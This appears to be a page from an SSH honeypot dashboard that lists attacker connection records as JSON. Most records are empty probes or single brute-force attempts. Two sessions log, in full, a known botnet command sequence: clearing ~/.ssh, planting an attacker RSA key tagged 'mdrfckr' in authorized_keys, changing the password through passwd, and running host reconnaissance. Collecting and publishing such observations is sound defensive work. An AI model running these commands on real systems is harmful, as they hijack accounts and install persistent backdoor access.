nonproductions.net banner
Logo
Subsystem: NO BONK

Adversarial Observation Interface

Page 715 / 7384 (369153 total records)
Passive Observation Node - Active Operational Overview
120.48.39.73
2026-07-25 21:55:12.221002 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: ff261a3ffb26
Client Version: Unknown
Engagement Duration: 2m 0s
{
  "id": "ff261a3ffb26",
  "src_ip": "120.48.39.73",
  "start_time": "2026-07-25T21:55:12.221002Z",
  "end_time": "2026-07-25T21:57:12.226413Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
116.181.16.142
2026-07-25 21:54:38.533908 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 17633f80a63a
Client Version: Unknown
Engagement Duration: 2m 0s
{
  "id": "17633f80a63a",
  "src_ip": "116.181.16.142",
  "start_time": "2026-07-25T21:54:38.533908Z",
  "end_time": "2026-07-25T21:56:38.555097Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
116.181.16.142
2026-07-25 21:54:02.595240 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 6979747f606e
Client Version: Unknown
Engagement Duration: 2m 0s
{
  "id": "6979747f606e",
  "src_ip": "116.181.16.142",
  "start_time": "2026-07-25T21:54:02.595240Z",
  "end_time": "2026-07-25T21:56:02.600855Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
120.48.39.73
2026-07-25 21:53:35.453069 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 4fea982dddcc
Client Version: Unknown
Engagement Duration: 2m 0s
{
  "id": "4fea982dddcc",
  "src_ip": "120.48.39.73",
  "start_time": "2026-07-25T21:53:35.453069Z",
  "end_time": "2026-07-25T21:55:35.465056Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
116.181.16.142
2026-07-25 21:53:27.912680 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 9602d3eb9aef
Client Version: Unknown
Engagement Duration: 2m 0s
{
  "id": "9602d3eb9aef",
  "src_ip": "116.181.16.142",
  "start_time": "2026-07-25T21:53:27.912680Z",
  "end_time": "2026-07-25T21:55:27.925961Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
80.94.92.234
2026-07-25 21:53:19.136470 UTC
SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: bd7c5ab832ae
Client Version: Unknown
Engagement Duration: 0.2s
{
  "id": "bd7c5ab832ae",
  "src_ip": "80.94.92.234",
  "start_time": "2026-07-25T21:53:19.136470Z",
  "end_time": "2026-07-25T21:53:19.324693Z",
  "duration": "0.2",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}
116.181.16.142
2026-07-25 21:52:52.969791 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 76266c6a586d
Client Version: Unknown
Engagement Duration: 2m 0s
{
  "id": "76266c6a586d",
  "src_ip": "116.181.16.142",
  "start_time": "2026-07-25T21:52:52.969791Z",
  "end_time": "2026-07-25T21:54:52.988983Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
116.181.16.142
2026-07-25 21:52:14.369956 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: dc49969fcf48
Client Version: Unknown
Engagement Duration: 2m 0s
{
  "id": "dc49969fcf48",
  "src_ip": "116.181.16.142",
  "start_time": "2026-07-25T21:52:14.369956Z",
  "end_time": "2026-07-25T21:54:14.385891Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
2.57.121.25
2026-07-25 21:52:00.611717 UTC
SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: admin / melon

Record ID: be0cfef55a84
Client Version: SSH-2.0-PuTTY_Release_0.84
Engagement Duration: 6.3s
HASSH Fingerprint: 3356ae6145fa86124298066e281ea2d9
{
  "id": "be0cfef55a84",
  "src_ip": "2.57.121.25",
  "start_time": "2026-07-25T21:52:00.611717Z",
  "end_time": "2026-07-25T21:52:06.871980Z",
  "duration": "6.3",
  "version": "SSH-2.0-PuTTY_Release_0.84",
  "hassh": "3356ae6145fa86124298066e281ea2d9",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "admin",
    "pass": "melon"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}
116.181.16.142
2026-07-25 21:51:46.807757 UTC
SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 84449ff47fd6
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 1.2s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "84449ff47fd6",
  "src_ip": "116.181.16.142",
  "start_time": "2026-07-25T21:51:46.807757Z",
  "end_time": "2026-07-25T21:51:48.026404Z",
  "duration": "1.2",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}
120.48.39.73
2026-07-25 21:51:34.520635 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 569522f5b625
Client Version: Unknown
Engagement Duration: 2m 0s
{
  "id": "569522f5b625",
  "src_ip": "120.48.39.73",
  "start_time": "2026-07-25T21:51:34.520635Z",
  "end_time": "2026-07-25T21:53:34.531858Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
116.181.16.142
2026-07-25 21:50:26.865639 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 67b09c28f617
Client Version: Unknown
Engagement Duration: 2m 0s
{
  "id": "67b09c28f617",
  "src_ip": "116.181.16.142",
  "start_time": "2026-07-25T21:50:26.865639Z",
  "end_time": "2026-07-25T21:52:26.872496Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
120.48.39.73
2026-07-25 21:50:24.218858 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 8df64aeef700
Client Version: SSH-2.0-libssh_0.11.1
Engagement Duration: 2m 0s
{
  "id": "8df64aeef700",
  "src_ip": "120.48.39.73",
  "start_time": "2026-07-25T21:50:24.218858Z",
  "end_time": "2026-07-25T21:52:24.233141Z",
  "duration": "120.0",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
180.76.236.214
2026-07-25 21:50:09.822531 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: bb05b84d292b
Client Version: Unknown
Engagement Duration: 2m 0s
{
  "id": "bb05b84d292b",
  "src_ip": "180.76.236.214",
  "start_time": "2026-07-25T21:50:09.822531Z",
  "end_time": "2026-07-25T21:52:09.829565Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
116.181.16.142
2026-07-25 21:49:58.526573 UTC
SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 1fc8fbfd7ed2
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 19.5s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "1fc8fbfd7ed2",
  "src_ip": "116.181.16.142",
  "start_time": "2026-07-25T21:49:58.526573Z",
  "end_time": "2026-07-25T21:50:18.046570Z",
  "duration": "19.5",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}
116.181.16.142
2026-07-25 21:49:24.331860 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 6600852c92a6
Client Version: Unknown
Engagement Duration: 2m 0s
{
  "id": "6600852c92a6",
  "src_ip": "116.181.16.142",
  "start_time": "2026-07-25T21:49:24.331860Z",
  "end_time": "2026-07-25T21:51:24.374736Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
116.181.16.142
2026-07-25 21:48:46.312738 UTC
SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: e0822a6efa1d
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 0.9s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "e0822a6efa1d",
  "src_ip": "116.181.16.142",
  "start_time": "2026-07-25T21:48:46.312738Z",
  "end_time": "2026-07-25T21:48:47.241163Z",
  "duration": "0.9",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}
116.181.16.142
2026-07-25 21:48:03.684491 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: e0ba811658cc
Client Version: Unknown
Engagement Duration: 2m 0s
{
  "id": "e0ba811658cc",
  "src_ip": "116.181.16.142",
  "start_time": "2026-07-25T21:48:03.684491Z",
  "end_time": "2026-07-25T21:50:03.693753Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
120.48.39.73
2026-07-25 21:47:21.660106 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: frappe

Record ID: b670418d0738
Client Version: SSH-2.0-libssh_0.11.1
Engagement Duration: 4.2s
HASSH Fingerprint: 03a80b21afa810682a776a7d42e5e6fb
{
  "id": "b670418d0738",
  "src_ip": "120.48.39.73",
  "start_time": "2026-07-25T21:47:21.660106Z",
  "end_time": "2026-07-25T21:47:25.884342Z",
  "duration": "4.2",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": "03a80b21afa810682a776a7d42e5e6fb",
  "attempts": [
    {
      "user": "frappe",
      "pass": "frappe24"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
116.181.16.142
2026-07-25 21:46:48.996634 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: a3ba55041e4a
Client Version: Unknown
Engagement Duration: 2m 0s
{
  "id": "a3ba55041e4a",
  "src_ip": "116.181.16.142",
  "start_time": "2026-07-25T21:46:48.996634Z",
  "end_time": "2026-07-25T21:48:49.002705Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
116.181.16.142
2026-07-25 21:46:13.125371 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 9a622e85f15e
Client Version: Unknown
Engagement Duration: 2m 0s
{
  "id": "9a622e85f15e",
  "src_ip": "116.181.16.142",
  "start_time": "2026-07-25T21:46:13.125371Z",
  "end_time": "2026-07-25T21:48:13.139644Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
116.181.16.142
2026-07-25 21:45:36.879415 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 9a11475e50c2
Client Version: Unknown
Engagement Duration: 2m 0s
{
  "id": "9a11475e50c2",
  "src_ip": "116.181.16.142",
  "start_time": "2026-07-25T21:45:36.879415Z",
  "end_time": "2026-07-25T21:47:36.895155Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
116.181.16.142
2026-07-25 21:45:04.860882 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 76436afae51e
Client Version: Unknown
Engagement Duration: 2m 0s
{
  "id": "76436afae51e",
  "src_ip": "116.181.16.142",
  "start_time": "2026-07-25T21:45:04.860882Z",
  "end_time": "2026-07-25T21:47:04.881141Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
116.181.16.142
2026-07-25 21:44:32.464287 UTC
SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 6a11de2d26bb
Client Version: Unknown
Engagement Duration: 0.2s
{
  "id": "6a11de2d26bb",
  "src_ip": "116.181.16.142",
  "start_time": "2026-07-25T21:44:32.464287Z",
  "end_time": "2026-07-25T21:44:32.668352Z",
  "duration": "0.2",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}
116.181.16.142
2026-07-25 21:43:44.570538 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 8719ec2b04f8
Client Version: Unknown
Engagement Duration: 2m 0s
{
  "id": "8719ec2b04f8",
  "src_ip": "116.181.16.142",
  "start_time": "2026-07-25T21:43:44.570538Z",
  "end_time": "2026-07-25T21:45:44.581788Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
116.181.16.142
2026-07-25 21:43:37.596291 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: ae8cc96b7a22
Client Version: Unknown
Engagement Duration: 2m 0s
{
  "id": "ae8cc96b7a22",
  "src_ip": "116.181.16.142",
  "start_time": "2026-07-25T21:43:37.596291Z",
  "end_time": "2026-07-25T21:45:37.600780Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
116.181.16.142
2026-07-25 21:43:33.037039 UTC
COMMANDS RUN RECONNAISSANCE SUCCESSFUL LOGIN SCORE: 340

Credential acceptance event recorded. Target authentication: guest / 11111111

Remote entity achieved interactive shell state. Command sequence (20 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh
Command not found: lockr -ia .ssh
[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
[obs-node]:~$ cat /proc/cpuinfo | grep name | wc -l
[obs-node]:~$ echo -e "11111111\nbjWkdJwU7XtW\nbjWkdJwU7XtW"|passwd|bash
[obs-node]:~$ Enter new UNIX password:
Command not found: Enter new UNIX password:
[obs-node]:~$ echo "11111111\nbjWkdJwU7XtW\nbjWkdJwU7XtW\n"|passwd
[obs-node]:~$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
[obs-node]:~$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
[obs-node]:~$ ls -lh $(which ls)
[obs-node]:~$ which ls
[obs-node]:~$ crontab -l
[obs-node]:~$ w
[obs-node]:~$ uname -m
[obs-node]:~$ cat /proc/cpuinfo | grep model | grep name | wc -l
[obs-node]:~$ top
[obs-node]:~$ uname
[obs-node]:~$ uname -a
[obs-node]:~$ whoami
[obs-node]:~$ lscpu | grep Model
[obs-node]:~$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
Record ID: cdec629c1e0a
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 29.4s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "cdec629c1e0a",
  "src_ip": "116.181.16.142",
  "start_time": "2026-07-25T21:43:33.037039Z",
  "end_time": "2026-07-25T21:44:02.473333Z",
  "duration": "29.4",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "guest",
    "pass": "11111111"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
    "cat /proc/cpuinfo | grep name | wc -l",
    "echo -e \"11111111\\nbjWkdJwU7XtW\\nbjWkdJwU7XtW\"|passwd|bash",
    "Enter new UNIX password: ",
    "echo \"11111111\\nbjWkdJwU7XtW\\nbjWkdJwU7XtW\\n\"|passwd",
    "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
    "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
    "ls -lh $(which ls)",
    "which ls",
    "crontab -l",
    "w",
    "uname -m",
    "cat /proc/cpuinfo | grep model | grep name | wc -l",
    "top",
    "uname",
    "uname -a",
    "whoami",
    "lscpu | grep Model",
    "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    },
    {
      "cmd": "cat /proc/cpuinfo | grep name | wc -l",
      "failed": false,
      "error": null
    },
    {
      "cmd": "echo -e \"11111111\\nbjWkdJwU7XtW\\nbjWkdJwU7XtW\"|passwd|bash",
      "failed": false,
      "error": null
    },
    {
      "cmd": "Enter new UNIX password: ",
      "failed": true,
      "error": "Command not found: Enter new UNIX password:"
    },
    {
      "cmd": "echo \"11111111\\nbjWkdJwU7XtW\\nbjWkdJwU7XtW\\n\"|passwd",
      "failed": false,
      "error": null
    },
    {
      "cmd": "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
      "failed": false,
      "error": null
    },
    {
      "cmd": "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
      "failed": false,
      "error": null
    },
    {
      "cmd": "ls -lh $(which ls)",
      "failed": false,
      "error": null
    },
    {
      "cmd": "which ls",
      "failed": false,
      "error": null
    },
    {
      "cmd": "crontab -l",
      "failed": false,
      "error": null
    },
    {
      "cmd": "w",
      "failed": false,
      "error": null
    },
    {
      "cmd": "uname -m",
      "failed": false,
      "error": null
    },
    {
      "cmd": "cat /proc/cpuinfo | grep model | grep name | wc -l",
      "failed": false,
      "error": null
    },
    {
      "cmd": "top",
      "failed": false,
      "error": null
    },
    {
      "cmd": "uname",
      "failed": false,
      "error": null
    },
    {
      "cmd": "uname -a",
      "failed": false,
      "error": null
    },
    {
      "cmd": "whoami",
      "failed": false,
      "error": null
    },
    {
      "cmd": "lscpu | grep Model",
      "failed": false,
      "error": null
    },
    {
      "cmd": "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh",
    "Enter new UNIX password:"
  ],
  "score": 340,
  "tags": [
    "COMMANDS RUN",
    "RECONNAISSANCE",
    "SUCCESSFUL LOGIN"
  ]
}
116.181.16.142
2026-07-25 21:42:16.618536 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 9ff09be3430f
Client Version: Unknown
Engagement Duration: 2m 0s
{
  "id": "9ff09be3430f",
  "src_ip": "116.181.16.142",
  "start_time": "2026-07-25T21:42:16.618536Z",
  "end_time": "2026-07-25T21:44:16.636514Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
116.181.16.142
2026-07-25 21:41:39.663218 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: a02e76d982a8
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 2m 0s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "a02e76d982a8",
  "src_ip": "116.181.16.142",
  "start_time": "2026-07-25T21:41:39.663218Z",
  "end_time": "2026-07-25T21:43:39.670228Z",
  "duration": "120.0",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
116.181.16.142
2026-07-25 21:40:26.445571 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: andrew

Record ID: c1f3e4c43396
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 3.3s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "c1f3e4c43396",
  "src_ip": "116.181.16.142",
  "start_time": "2026-07-25T21:40:26.445571Z",
  "end_time": "2026-07-25T21:40:29.713698Z",
  "duration": "3.3",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "andrew",
      "pass": "password"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
116.181.16.142
2026-07-25 21:39:52.307024 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: c66721cabf32
Client Version: Unknown
Engagement Duration: 2m 0s
{
  "id": "c66721cabf32",
  "src_ip": "116.181.16.142",
  "start_time": "2026-07-25T21:39:52.307024Z",
  "end_time": "2026-07-25T21:41:52.322904Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
116.181.16.142
2026-07-25 21:39:15.640638 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 902e5a9692c6
Client Version: Unknown
Engagement Duration: 2m 0s
{
  "id": "902e5a9692c6",
  "src_ip": "116.181.16.142",
  "start_time": "2026-07-25T21:39:15.640638Z",
  "end_time": "2026-07-25T21:41:15.675437Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
116.181.16.142
2026-07-25 21:38:00.700810 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: d2f89f51f4e5
Client Version: Unknown
Engagement Duration: 2m 0s
{
  "id": "d2f89f51f4e5",
  "src_ip": "116.181.16.142",
  "start_time": "2026-07-25T21:38:00.700810Z",
  "end_time": "2026-07-25T21:40:00.713810Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
116.181.16.142
2026-07-25 21:37:50.656955 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 04151e5298c0
Client Version: Unknown
Engagement Duration: 2m 0s
{
  "id": "04151e5298c0",
  "src_ip": "116.181.16.142",
  "start_time": "2026-07-25T21:37:50.656955Z",
  "end_time": "2026-07-25T21:39:50.665467Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
116.181.16.142
2026-07-25 21:37:46.121876 UTC
COMMANDS RUN RECONNAISSANCE SUCCESSFUL LOGIN SCORE: 340

Credential acceptance event recorded. Target authentication: root / Akshay@123

Remote entity achieved interactive shell state. Command sequence (19 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh
Command not found: lockr -ia .ssh
[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
